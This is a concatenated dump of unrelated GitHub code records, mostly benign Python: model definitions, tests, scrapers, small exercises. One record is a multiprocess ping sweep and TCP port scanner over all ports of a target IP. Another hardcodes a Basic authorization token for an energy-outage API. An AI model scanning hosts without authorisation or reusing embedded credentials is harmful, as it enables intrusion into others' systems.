assert least_common_multiple_formula(12, 80) == 240\n assert least_common_multiple_formula(50, 65) == 650\n\n\ndef main():\n test_isprime()\n test_iscomposite()\n test_factors()\n test_factorization()\n\n test_multiple()\n test_multiples()\n test_common_multiple()\n test_least_common_multiple()\n test_least_common_multiple_factorization()\n test_least_common_multiple_formula()\n\n test_divisor()\n test_common_divisor()\n test_greatest_common_divisor()\n test_greatest_common_divisor_factorization()\n\n\nif __name__ == '__main__':\n main()\n\n\n# 参考:\n# http://www.math.com/school/subject1/lessons/S1U3L1GL.html\n# https://www.youtube.com/watch?v=fdUXGZogSxE\n# https://www.mathsisfun.com/prime-factorization.html\n# https://www.mathsisfun.com/prime-composite-number.html\n# https://byjus.com/lcm-formula/\n","repo_name":"zhengtong0898/math","sub_path":"src/factors.py","file_name":"factors.py","file_ext":"py","file_size_in_byte":21326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71755516678","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nfrom base import BaseModel\n\n# AlexNet Architecture:\n# Input: 3 x 224 x 224 ->\n# Layer 1: Conv 96 x (11, 11), stride=4; ReLU;\n# Local Response Norm; Max Pool 3x3 stride=2\n# Layer 2: Conv 256 x (5, 5), stride=1, padding=2; ReLU;\n# Local Response Norm; Max Pool 3x3 stride=2\n# Layer 3: Conv 384 x (3, 3), stride=1, padding=1; ReLU\n# Layer 4: Conv 384 x (3, 3), stride=1, padding=1; ReLU\n# Layer 5: Conv 256 x (3, 3), stride=1, padding=1; ReLU\n# Max Pool 3x3, stride=2\n# Layer 6: FC 4096, ReLU\n# Layer 7: FC 4096, ReLU\n# Layer 8: num_of_classes\n\n\nclass AlexNet(BaseModel):\n def __init__(self, num_of_classes):\n super(AlexNet, self).__init__()\n self.num_of_classes = num_of_classes\n # Layer 1\n self.layer1_conv = nn.Conv2d(\n in_channels=3, out_channels=96, kernel_size=11, stride=4, padding=0\n )\n self.layer1_lrn = nn.LocalResponseNorm(size=5, k=2.0, alpha=1e-4, beta=0.75)\n self.layer1_maxpool = nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True)\n\n # Layer 2\n self.layer2_conv = nn.Conv2d(\n in_channels=96, out_channels=256, kernel_size=5, stride=1, padding=2\n )\n self.layer2_lrn = nn.LocalResponseNorm(size=5, k=2.0, alpha=1e-4, beta=0.75)\n self.layer2_maxpool = nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True)\n\n # Layer 3\n self.layer3_conv = nn.Conv2d(\n in_channels=256, out_channels=384, kernel_size=3, stride=1, padding=1\n )\n\n # Layer 4\n self.layer4_conv = nn.Conv2d(\n in_channels=384, out_channels=384, kernel_size=3, stride=1, padding=1\n )\n\n # Layer 5\n self.layer5_conv = nn.Conv2d(\n in_channels=384, out_channels=256, kernel_size=3, stride=1, padding=1\n )\n self.layer5_maxpool = nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True)\n\n self.flatten = nn.Flatten()\n\n # Layer 6\n self.fc6 = nn.Linear(6 * 6 * 256, 4096)\n\n # Layer 7\n self.fc7 = nn.Linear(4096, 4096)\n\n # Layer 8\n self.fc8 = nn.Linear(4096, self.num_of_classes)\n\n def forward(self, x):\n # Layer 1\n x = F.relu(self.layer1_conv(x))\n x = self.layer1_lrn(x)\n x = self.layer1_maxpool(x)\n print(\"layer 1:\", x.shape)\n\n # Layer 2\n x = F.relu(self.layer2_conv(x))\n x = self.layer2_lrn(x)\n x = self.layer2_maxpool(x)\n print(\"layer 2:\", x.shape)\n\n # Layer 3\n x = F.relu(self.layer3_conv(x))\n print(\"layer 3:\", x.shape)\n\n # Layer 4\n x = F.relu(self.layer4_conv(x))\n print(\"layer 4:\", x.shape)\n\n # Layer 5\n x = F.relu(self.layer5_conv(x))\n x = self.layer5_maxpool(x)\n print(\"layer 5:\", x.shape)\n\n x = self.flatten(x)\n\n # Layer 6\n x = self.fc6(x)\n print(\"layer 6:\", x.shape)\n\n # Layer 7\n x = self.fc7(x)\n print(\"layer 7:\", x.shape)\n\n # Layer 8\n x = self.fc8(x)\n print(\"layer 8:\", x.shape)\n\n output = F.log_softmax(x, dim=1)\n return output\n","repo_name":"hllj/cnn-arch-pytorch","sub_path":"model/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42230814657","text":"import os\nimport json\nfrom nltk.tokenize import word_tokenize\nimport tiktoken\n\ndef load_prompts():\n\n prompts = {}\n\n for filename in os.listdir(\"prompts\"):\n fpath = os.path.join(\"prompts\", filename)\n with open(fpath) as f:\n fcontent = f.read()\n file_key = filename.replace(\".txt\",\"\")\n prompts[file_key] = fcontent\n\n return prompts\n\ndef num_tokens(data):\n\n \"\"\"\n count tokens in string / list for gpt3\n \"\"\"\n\n def num_tokens_from_string(string, encoding_name = \"gpt2\"):\n\n encoding = tiktoken.get_encoding(encoding_name)\n num_tokens = len(encoding.encode(string))\n return num_tokens\n\n res = 0\n if type(data) != str:\n res = num_tokens_from_string(\"\".join(data))\n else:\n res = num_tokens_from_string(data)\n return res\n\ndef parse_summary():\n\n \"\"\"\n opens the summary file and casts it to json, also cleans uneeded imports \n \"\"\"\n\n summary = {}\n with open(\"generated_summaries/summary.json\", \"r\") as file:\n summary = json.load(file)\n\n for filepath in summary:\n path_data = summary[filepath]\n json_data = {}\n if type(path_data) == str:\n json_data = json.loads(path_data)\n else:\n json_data = path_data\n\n for imported_path in json_data[\"imports\"]:\n if imported_path not in summary:\n json_data[\"imports\"].remove(imported_path)\n\n summary[filepath] = json_data\n\n with open(\"generated_summaries/summary.json\", \"w\") as file:\n json.dump(summary, file)\n \n return\n","repo_name":"aditya-pethe/indox","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30716293870","text":"# [Job Adv] Level 30 Bowman\n\nsm.setSpeakerID(1012100)\n\nif (sm.getJob() != \"BOWMAN\"):\n sm.sendSayOkay(\"lol go away\")\nelse:\n message = \"Congratulations on reaching level 30! bithc pikc a job\\r\\n\\r\\n\"\n message += \"#b#L0#Trail of the Hunter#l\\r\\n\"\n message += \"#b#L1#Trail of the Crossbowman#l\\r\\n\"\n\n choice = sm.sendNext(message)\n\n if choice == 0:\n sm.jobAdvance(310)\n sm.sendNext(\"ok you bowman now\")\n elif choice == 1:\n sm.jobAdvance(320)\n sm.sendNext(\"ok you use bolt now\")\n\n\n","repo_name":"rage123450/TMS246-Server","sub_path":"scripts/npc/2nd_bowman.py","file_name":"2nd_bowman.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"5888613374","text":"\"\"\"\nThis module defines the test cases for genre model\n\"\"\"\n# pylint: disable=cyclic-import\nimport unittest\nfrom library_app import app, db\nfrom library_app.models import Genre\nfrom .test_base import Base\n\n\nclass GenreModelCase(Base):\n \"\"\"Class for genre model test cases\"\"\"\n def setUp(self):\n \"\"\"\n Execute before each test case\n \"\"\"\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite://'\n db.create_all()\n\n def tearDown(self):\n \"\"\"\n Execute after each test case\n \"\"\"\n db.session.remove()\n db.drop_all()\n\n def test_to_dict(self):\n \"\"\"\n Test dictionary serialization of genre\n \"\"\"\n genre = Genre(name='test', description='test description').to_dict()\n self.assertEqual(genre['name'], 'test')\n self.assertEqual(genre['description'], 'test description')\n self.assertEqual(genre['unique_books'], 0)\n self.assertEqual(genre['total_copies'], 0)\n\n def test_genre_repr(self):\n \"\"\"\n Test genre __repr__ method\n \"\"\"\n genre = Genre(name='Test', description='Test description.')\n self.assertEqual(str(genre), 'Genre(Test, Test description., [])')\n self.assertNotEqual(str(genre), 'Genre(Test, Test description., {})')\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","repo_name":"lordwerneo/epam-library","sub_path":"library_app/tests/test_genre_model.py","file_name":"test_genre_model.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"789847405","text":"#!/usr/bin/env python3\n\"\"\"Usage:\n wikimark.py collect OUTPUT\n wikimark.py process INPUT\n wikimark.py guess [--all] INPUT URL\n\"\"\"\nimport json\nimport pickle\nimport re\nfrom collections import Counter\nfrom collections import OrderedDict\nfrom pathlib import Path\nfrom string import punctuation\nfrom urllib.parse import quote_plus\n\nimport requests\nfrom asciitree import LeftAligned\nfrom docopt import docopt\nfrom gensim.models.doc2vec import TaggedDocument\nfrom gensim.models.doc2vec import Doc2Vec\nfrom lxml import html\nfrom lxml.html.clean import clean_html\nfrom sklearn import svm\n\n\nREST_API = 'https://en.wikipedia.org/api/rest_v1/page/html/'\nINPUT = REST_API + 'Wikipedia%3AVital_articles'\n\n\nREGEX_TITLE = re.compile(r'[^(]+')\n\n\ndef tokenize(string):\n text = clean_html(html.fromstring(string)).text_content()\n clean = ''.join([' ' if c in punctuation else c for c in text]).split()\n tokens = [e for e in (' '.join(clean)).lower().split() if len(e) > 2]\n return tokens\n\n\ndef get_children(xml):\n \"\"\"List children ignoring comments\"\"\"\n return [e for e in xml.iterchildren() if not isinstance(e, html.HtmlComment)] # noqa\n\n\ndef extract_subcategory(section):\n out = dict()\n children = get_children(section)\n # ignore some div at the end, that happens in Geography > General\n header, ul = children[0], children[1]\n title = header.xpath('./text()')[0]\n title = REGEX_TITLE.match(title).group().strip()\n out['title'] = title\n out['articles'] = list()\n for href in ul.xpath('.//a/@href'):\n href = href[2:]\n if href not in (\"Wikipedia:Vital_articles/Level/2\", \"Wikipedia:Vital_articles/Level/1\"): # noqa\n out['articles'].append(href)\n return out\n\n\ndef extract_category(section):\n out = dict()\n header, div = get_children(section)\n title = header.xpath('./text()')[0]\n title = REGEX_TITLE.match(title).group().strip()\n out['title'] = title\n out['subcategories'] = list()\n for h3 in div.xpath('.//h3'):\n section = h3.getparent()\n subcategory = extract_subcategory(section)\n out['subcategories'].append(subcategory)\n return out\n\n\ndef get_specification():\n \"\"\"Get vital categories with references to the articles\n\n It returns a dict of dict\"\"\"\n response = requests.get(INPUT)\n xml = html.fromstring(response.text)\n section = xml.xpath('body/section[@data-mw-section-id=1]')[0]\n children = get_children(section)\n assert len(children) == 14, \"the html changed, update the code\"\n sections = children[3:]\n categories = [extract_category(section) for section in sections]\n return categories\n\n\ndef collect(output):\n output = Path(output)\n # write specification\n specification = get_specification()\n with (output / 'specification.json').open('w') as f:\n f.write(json.dumps(specification, indent=4, sort_keys=True))\n # create directories, download articles\n for category in specification:\n directory = output / category['title']\n directory.mkdir(parents=True, exist_ok=True)\n for subcategory in category['subcategories']:\n subdirectory = directory / subcategory['title']\n subdirectory.mkdir(parents=True, exist_ok=True)\n for article in subcategory['articles']:\n filename = quote_plus(article)\n filepath = subdirectory / filename\n with filepath.open('w') as f:\n print('Downloading {}'.format(filepath))\n response = requests.get(REST_API + article)\n f.write(response.text)\n\n\ndef iter_all_documents(input):\n for article in input.glob('./*/*/*'):\n print('Doc2Vec: Preprocessing \"{}\"'.format(article))\n with article.open() as f:\n tokens = tokenize(f.read())\n yield TaggedDocument(tokens, [str(article)])\n\n\ndef make_dov2vec_model(input):\n documents = list(iter_all_documents(input))\n print('Doc2Vec: building the model')\n model = Doc2Vec(documents, vector_size=100, window=8, min_count=2, workers=7) # noqa\n filepath = input / 'model.doc2vec.gz'\n model.save(str(filepath))\n return model\n\n\ndef iter_filepath_and_vectors(input, doc2vec):\n for filepath in input.glob('./*/*/*'):\n # skip the model, this is not an input document\n if filepath.name.endswith('.model'):\n continue\n # get the vector from the model and yield\n with filepath.open() as f:\n tokens = tokenize(f.read())\n vector = doc2vec.infer_vector(tokens)\n yield filepath, vector\n\n\ndef regression(input, doc2vec):\n for subcategory in input.glob('./*/*/'):\n # skip models\n if not subcategory.is_dir():\n continue\n # build regression model for the subcategory\n print('Building regression for \"{}\"'.format(subcategory))\n model = svm.SVR()\n X = list()\n y = list()\n for filepath, vector in iter_filepath_and_vectors(input, doc2vec):\n X.append(vector)\n value = 1. if filepath.parent == subcategory else 0.\n y.append(value)\n model.fit(X, y)\n with (subcategory / 'svr.model').open('wb') as f:\n pickle.dump(model, f)\n\n\ndef process(input):\n input = Path(input)\n print('Doc2Vec preprocessing')\n doc2vec = make_dov2vec_model(input)\n print('Regression model computation')\n regression(input, doc2vec)\n\n\ndef guess(input, url, all_subcategories):\n input = Path(input)\n response = requests.get(url)\n string = response.text\n tokens = tokenize(string)\n model = Doc2Vec.load(str(input / 'model.doc2vec.gz'))\n vector = model.infer_vector(tokens)\n subcategories = list()\n for filepath in input.glob('./*/*/*.model'):\n with filepath.open('rb') as f:\n model = pickle.load(f)\n prediction = model.predict([vector])[0]\n subcategories.append((filepath.parent, prediction))\n subcategories.sort(key=lambda x: x[1], reverse=True)\n if not all_subcategories:\n subcategories = subcategories[:10]\n # compute categories prediction\n categories = Counter()\n for category in input.glob('./*/'):\n # skip anything that is not a directory\n if not category.is_dir():\n continue\n # compute mean score for the category\n count = 0\n for subcategory, prediction in subcategories:\n if subcategory.parent == category:\n count += 1\n categories[category] += prediction\n if count:\n mean = categories[category] / count\n categories[category] = mean\n else:\n del categories[category]\n # build and print tree\n tree = OrderedDict()\n for category, prediction in categories.most_common(len(categories)):\n name = '{} ~ {}'.format(category.name, prediction)\n children = OrderedDict()\n for subcategory, prediction in subcategories:\n if subcategory.parent == category:\n children['{} ~ {}'.format(subcategory.name, prediction)] = dict()\n tree[name] = children\n print(LeftAligned()(dict(similarity=tree)))\n\n\n\nif __name__ == '__main__':\n args = docopt(__doc__)\n if args.get('collect'):\n collect(args.get('OUTPUT'))\n elif args.get('process'):\n process(args.get('INPUT'))\n elif args.get('guess'):\n guess(args.get('INPUT'), args.get('URL'), args.get('--all', False))\n","repo_name":"ankurpandey42/wikimark","sub_path":"wikimark.py","file_name":"wikimark.py","file_ext":"py","file_size_in_byte":7430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28370920434","text":"\"\"\"\r\n4. Leia 2 (duas) notas parciais de um aluno, calcule a média e escreva a mensagem:\r\no \"Aprovado\", se a média alcançada for maior ou igual a sete;\r\no \"Reprovado\", se a média for menor do que sete;\r\no \"Aprovado com Distinção\", se a média for igual a dez\r\n\"\"\"\r\n\r\ndef main():\r\n mensagem()\r\n\r\ndef mensagem():\r\n nota_1 = float(input('Digite sua 1º nota: '))\r\n nota_2 = float(input('Digite sua 2º nota: '))\r\n\r\n media(nota_1, nota_2)\r\n\r\ndef media(n1, n2):\r\n media = (n1 + n2) / 2\r\n if media == 10.0:\r\n print(f'Aprovado com Distinção. \\nMédia = {media}')\r\n elif media >= 7.0:\r\n print(f'Aprovado. \\nMédia = {media}')\r\n else:\r\n print(f'Reprovado. \\nMédia = {media}')\r\n\r\n\r\nmain()","repo_name":"marceloigor/ifpi-ads-algoritmos2020","sub_path":"Fabio02_condicional_B/4 media aprovado ou reprovado.py","file_name":"4 media aprovado ou reprovado.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71789812037","text":"pets = []\r\n\r\npet = {\r\n\t'name': 'mimi', \r\n\t'owner': 'john',\r\n\t'animal type': 'cat', \r\n 'weight': 4,\r\n 'eats': 'fish',\r\n\t}\r\npets.append(pet)\r\n\r\npet = {\r\n\t'name': 'gigi', \r\n\t'owner': 'eric',\r\n\t'animal type': 'dog', \r\n 'weight': 10,\r\n 'eats': 'meat',\r\n\t}\r\npets.append(pet)\r\n\r\npet = {\r\n\t'name': 'kiki', \r\n\t'owner': 'sarah',\r\n\t'animal type': 'rabbit', \r\n 'weight': 2,\r\n 'eats': 'grass',\r\n\t}\r\npets.append(pet)\r\n\r\nfor pet in pets:\r\n\tprint(\"\\nHere's what I know about \" + pet['name'].title() + \":\")\r\n\tfor key, value in pet.items():\r\n\t\tprint(\"\\t\" + key + \": \" + str(value))","repo_name":"ZSL-1024/Python-Crash-Course","sub_path":"chapter_06_Dictionaries/pets.py","file_name":"pets.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4942422021","text":"#! /usr/bin/env python\n\nimport rospy\nfrom robot_module_msgs.srv import StlFileManager\n\n\ndef stlHandler(req):\n global thisTableName\n global stlFilename\n\n success = False\n stl = ''\n if req.tableName == thisTableName:\n stl = stlFilename\n success = True\n \n return stl, success\n\nif __name__ == '__main__':\n rospy.init_node('rpi_table_node', anonymous = True)\n thisTableName = rospy.get_param('~tableName')\n stlFilename = rospy.get_param('~stlFile')\n stlFileService = rospy.Service('stl_file_service_' + thisTableName, StlFileManager, stlHandler)\n\n rospy.spin()","repo_name":"ReconCycle/vision_ros_integration","sub_path":"src/rpi_table_node.py","file_name":"rpi_table_node.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"11061260019","text":"class Regressor:\r\n def __init__(self):\r\n self.__coef = []\r\n\r\n def fit(self, input_data, output_data):\r\n phase1 = self.__multiply(self.__transpusa(input_data), input_data)\r\n phase2 = self.__multiply(self.__transpusa(input_data), output_data)\r\n self.__coef = self.__gaussian_elimination(phase1, phase2)\r\n return self.__coef\r\n\r\n def __determinant(self, matrix):\r\n if len(matrix) == 1:\r\n return matrix[0][0]\r\n if len(matrix) == 2:\r\n return matrix[0][0] * matrix[1][1] - matrix[1][0]*matrix[0][1]\r\n result = 0\r\n for j in range(len(matrix)):\r\n minor = self.__minor(matrix, j)\r\n result += ((-1) ** (j + 2)) * matrix[0][j] * self.__determinant(minor)\r\n return result\r\n\r\n def __transpusa(self, matrix):\r\n transp = []\r\n for i in range(len(matrix[0])):\r\n line = []\r\n for j in range(len(matrix)):\r\n line.append(matrix[j][i])\r\n transp.append(line)\r\n return transp\r\n\r\n def __multiply(self, matrix1, matrix2):\r\n matrix = [[0 for _ in range(len(matrix2[0]))] for _ in range(len(matrix1))]\r\n for i in range(len(matrix1)):\r\n for j in range(len(matrix2[0])):\r\n for k in range(len(matrix1[0])):\r\n matrix[i][j] += matrix1[i][k] * matrix2[k][j]\r\n return matrix\r\n\r\n def __minor(self, matrix, j_to_find):\r\n minor = []\r\n for i in range(1, len(matrix)):\r\n line = []\r\n for j in range(len(matrix)):\r\n if j != j_to_find:\r\n line.append(matrix[i][j])\r\n minor.append(line)\r\n return minor\r\n\r\n def __gaussian_elimination(self, matrix, output):\r\n n = len(matrix)\r\n for i in range(n):\r\n max_row = max(range(i, n), key=lambda r: abs(matrix[r][i]))\r\n matrix[i], matrix[max_row] = matrix[max_row], matrix[i]\r\n output[i], output[max_row] = output[max_row], output[i]\r\n\r\n for j in range(i + 1, n):\r\n factor = matrix[j][i] / matrix[i][i]\r\n output[j] = [x - factor * y for x, y in zip(output[j], output[i])]\r\n for k in range(i, n):\r\n matrix[j][k] -= factor * matrix[i][k]\r\n\r\n x = [0] * n\r\n for i in range(n - 1, -1, -1):\r\n x[i] = output[i][0] / matrix[i][i]\r\n for k in range(i - 1, -1, -1):\r\n output[k][0] -= matrix[k][i] * x[i]\r\n\r\n return [[xi] for xi in x]\r\n\r\n def predict(self, data):\r\n return sum([data[i] * self.__coef[i+1][0] for i in range(len(data))]) + self.__coef[0][0]\r\n","repo_name":"AlexNedelcu24/UBB-4th-Semester","sub_path":"Artificial Intelligence/lab6/myRegressor.py","file_name":"myRegressor.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5603642753","text":"from disaster_scrapers import DeltaScraper\nimport requests\n\n\nclass DukeEnergyScraper(DeltaScraper):\n owner = \"simonw\"\n repo = \"disaster-data\"\n\n record_key = \"areaOfInterestId\"\n show_changes = True\n noun = \"county summary\"\n plural = \"county summaries\"\n\n def __init__(self, token, jurisdiction, filepath):\n self.jurisdiction = jurisdiction\n self.filepath = filepath\n super().__init__(token)\n\n def fetch_data(self):\n url = \"https://cust-api.duke-energy.com/outage-maps/v1/counties?jurisdiction={}\".format(\n self.jurisdiction\n )\n county_summaries = requests.get(\n url,\n headers={\n \"Authorization\": \"Basic OXUxRmdtcXJNVlBJUEZGeE41aVZJbEFmRHpoMDhNQlI6Y1g0QTJmeFdXMG5XVlRhNg==\"\n },\n ).json()[\"data\"]\n # Flatten out the nested \"areaOfInterestSummary\" array\n for county_summary in county_summaries:\n summary = county_summary.pop(\"areaOfInterestSummary\")\n for key, value in summary.items():\n county_summary[\"summary_{}\".format(key)] = value\n return county_summaries\n\n\ndef load_scrapers(token):\n return [\n DukeEnergyScraper(token, \"DEC\", \"duke-energy/Duke-Energy-Carolinas.json\"),\n DukeEnergyScraper(token, \"DEF\", \"duke-energy/Duke-Energy-Florida.json\"),\n ]\n","repo_name":"simonw/disaster-scrapers","sub_path":"duke_energy.py","file_name":"duke_energy.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"62"} +{"seq_id":"43479934894","text":"from django.core.management.base import BaseCommand\nfrom django.core.management import call_command\nfrom django.contrib.contenttypes.models import ContentType\nimport os\n\nfrom dotenv import load_dotenv\nfrom os import getenv\n\nclass Command(BaseCommand):\n help = \"Migrate to New Database.\"\n\n def handle(self, *args, **options):\n try:\n # Loading backup_file_path from .tmp file\n with open(\".tmp\", \"r\") as file:\n backup_file_path = file.read()\n\n # Restoring Backup to New Database\n call_command(\"makemigrations\")\n call_command(\"migrate\")\n call_command(\"migrate\", run_syncdb=True)\n ContentType.objects.all().delete()\n call_command(\"loaddata_utf8\", backup_file_path)\n\n # Deleting .tmp file\n os.remove(\".tmp\")\n except Exception as err:\n self.stdout.write(\"\")\n if hasattr(err, '__iter__'):\n for e in err:\n self.stdout.write(f\"{err.__class__.__name__}: {str(e)}\")\n else:\n self.stdout.write(f\"{err.__class__.__name__}: {str(err)}\")\n","repo_name":"JameelKaisar/YountanYargyas","sub_path":"main/management/commands/db_migrate.py","file_name":"db_migrate.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74697841476","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/3/22 上午11:24\n# @Author : Mat\n# @Email : ZHOUZHENZHU406@pingan.com.cn\n# @File : week03_0060_2ex.py\n\nimport argparse\nimport subprocess\nimport socket\nimport multiprocessing\nimport json\n\n\n\ndef buid_option_parse(description):\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument('-n', '--times', action='store', type=int, default=4,\n help='11')\n parser.add_argument('-f', '--ftype', action='store', type=str,\n default='ping', help='22')\n parser.add_argument('-ip', '--ipaddr', action='store', type=str,\n default='192.168.0.1', help='33')\n parser.add_argument('-w', '--file', action='store', type=str,\n default='result.json', help='44')\n return parser\n\nparser = buid_option_parse('-'*50)\nargs = parser.parse_args()\n\ndef ping_one(ip):\n cmd=('ping', ip, '-c 2')\n ping_list=[ip, subprocess.call(cmd)]\n return ping_list\n\ndef tcp_port_scan(ip,port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建套接字\n sock.settimeout(0.1)\n\n try:\n res = sock.connect_ex((ip,port))\n lis_ports=[]\n if res == 0:\n lis_ports.append((ip,port))\n print(\"Server %s port %d OK\" % (ip, port))\n return lis_ports\n except:\n print(\"Server %s port %d is not connected!\" % (ip, port))\n sock.close() # 关闭套接字\n\ntcp_res={}\nlis_ports_new=[]\ndef tcp_callback(lis_ports):\n if lis_ports is None:\n return tcp_res\n for port in lis_ports:\n lis_ports_new.append(port[1])\n tcp_res['ip']=lis_ports[0][0]\n tcp_res['able_ports'] = lis_ports_new\n return tcp_res\n\n\nlis_ping_new=[]\ndef ping_callback(ping_list):\n if ping_list is None:\n return lis_ping_new\n lis_ping_new.append(ping_list)\n return lis_ping_new\n\n\ndef write_json(json_file,dic1):\n dic1 = json.dumps(dic1)\n with open(json_file, 'wb') as f:\n f.write(dic1)\n\nif __name__ == '__main__':\n num=args.times\n pool = multiprocessing.Pool(processes=num)\n\n print(args.ftype)\n if args.ftype == 'tcp':\n tcp_ip = args.ipaddr\n for port in range(1,65535):\n pool.apply_async(tcp_port_scan,(tcp_ip,port),callback=tcp_callback)\n pool.close()\n pool.join()\n json_file = args.file\n write_json(json_file,tcp_res)\n\n\n if args.ftype == 'ping':\n ping_ip = args.ipaddr\n ips_list = ping_ip.split('-')\n # import pdb\n # pdb.set_trace()\n start_ip =int(ips_list[0].split('.')[-1])\n ip_pre=ips_list[0].split('.')[0:3]\n end_ip = int(ips_list[1].split('.')[-1])\n for ip in range(start_ip, end_ip):\n ip_str = ('.'.join(ip_pre)).lstrip('.')\n new_ip = ip_str + '.' +str(ip)\n print(new_ip)\n pool.apply_async(ping_one, (new_ip,), callback=ping_callback)\n pool.close()\n pool.join()\n json_file = args.file\n write_json(json_file,lis_ping_new)\n\n\n\n","repo_name":"Python000-class01/Python000-class01","sub_path":"Week_03/G20200389010060/week03_0060_2ex.py","file_name":"week03_0060_2ex.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"1276333909","text":"import numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport tensorflow.keras as ks\nfrom sklearn.preprocessing import RobustScaler #RobustScaler is used to scale the input/target data but is not called directly below\nimport joblib\n\n#MMS orbit that ends at bow shock nose stride minutes from the end of the window \n#(13.25RE, 0RE, 0RE) (from 2023-01-24 02:46:30+0000 - window - stride to 2023-01-24 02:46:30+0000 - stride)\nSYNTH_XPOS = np.array([69215.97057508, 69480.44662705, 69706.40911294, 69969.18467343,\n 70231.11857452, 70454.91674057, 70715.18415549, 70974.62662114,\n 71196.30325009, 71454.11198298, 71711.11182052, 71930.70839187,\n 72186.10608653, 72440.71045452, 72658.26693929, 72911.29961567,\n 73163.55400328, 73379.10893932, 73629.82119345, 73879.76950962,\n 74093.36015524, 74341.79489098, 74589.47977345, 74801.14208574,\n 75047.34088887, 75292.80336019, 75502.57231563, 75746.57534655,\n 75989.85512801, 76197.76442711, 76439.61054906, 76680.7461448 ,\n 76886.82833966, 77126.55527427, 77365.58400364, 77569.8706008 ,\n 77807.51485289, 78044.47276422, 78246.99446109, 78482.59130139,\n 78717.51337097, 78918.29986461, 79151.88352716, 79384.80363257,\n 79583.88365476, 79815.48746062, 80046.43841324, 80243.83985851,\n 80473.4959342 , 80702.50977538])\nSYNTH_YPOS = np.array([-6242.531374 , -6141.43603983, -6054.73851884, -5953.54260001,\n -5852.30035979, -5765.48374707, -5664.15672177, -5562.79111177,\n -5475.87538835, -5374.44022431, -5272.97399371, -5185.97841963,\n -5084.45744369, -4982.91267323, -4895.85591308, -4794.27072076,\n -4692.66879919, -4605.56897563, -4503.9403974 , -4402.3019605 ,\n -4315.17661655, -4213.52495494, -4111.87001052, -4024.73625516,\n -3923.08129418, -3821.42952425, -3734.30395957, -3632.66493195,\n -3531.03538868, -3443.93418239, -3342.32979659, -3240.74102942,\n -3153.67997007, -3052.12846626, -2950.598573 , -2863.59314841,\n -2762.11237883, -2660.65906956, -2573.72426935, -2472.33166917,\n -2370.97225436, -2284.122821 , -2182.83554019, -2081.58702282,\n -1994.83737245, -1893.67203926, -1792.55094402, -1705.91518784,\n -1604.88808488, -1503.91065025])\nSYNTH_ZPOS = np.array([1428.22663895, 1404.9257232 , 1384.88999865, 1361.43852111,\n 1337.90827722, 1317.66995298, 1293.97504102, 1270.1942372 ,\n 1249.73509015, 1225.77542686, 1201.72276543, 1181.02453785,\n 1156.77888242, 1132.43315908, 1111.47770227, 1086.92488254,\n 1062.26489785, 1041.03400953, 1016.15277964, 991.1573987 ,\n 969.6329908 , 944.40232752, 919.05058092, 897.21474963,\n 871.61379271, 845.88483511, 823.71973863, 797.7278038 ,\n 771.60099544, 749.08907437, 722.68572634, 696.14074783,\n 673.26462524, 646.42970201, 619.4464814 , 596.18909891,\n 568.90278803, 541.46164749, 517.80622717, 490.04905226,\n 462.13065323, 438.0606711 , 409.81356785, 381.39897532,\n 356.89834051, 328.14264026, 299.21335127, 274.26632698,\n 244.98385268, 215.52178328])\nSYNTH_POS = np.array([SYNTH_XPOS, SYNTH_YPOS, SYNTH_ZPOS]).T\n\nclass prime(ks.Model):\n def __init__(self, model = None, in_scaler = None, tar_scaler = None, in_keys = None, tar_keys = None, out_keys = None, hps = [60, 15, 5.0/60.0]):\n '''\n Class to wrap a keras model to be used with the SH dataset.\n\n Parameters:\n model (keras model): Keras model to be used for prediction\n in_scaler (sklearn scaler): Scaler to be used for input data\n tar_scaler (sklearn scaler): Scaler to be used for target data\n '''\n super(prime, self).__init__()\n if model is None:\n self.model = self.build_model()\n self.model.load_weights('./model_bin/prime_v0.1.0.h5')\n self.model = model\n else:\n self.model = model\n if in_scaler is None:\n self.in_scaler = joblib.load('./model_bin/primeinsc_v0.1.0.pkl')\n else:\n self.in_scaler = in_scaler\n if tar_scaler is None:\n self.tar_scaler = joblib.load('./model_bin/primetarsc_v0.1.0.pkl')\n else:\n self.tar_scaler = tar_scaler\n if in_keys is None:\n self.in_keys = ['B_xgsm', 'B_ygsm', 'B_zgsm', 'Vi_xgse', 'Vi_ygse', 'Vi_zgse', 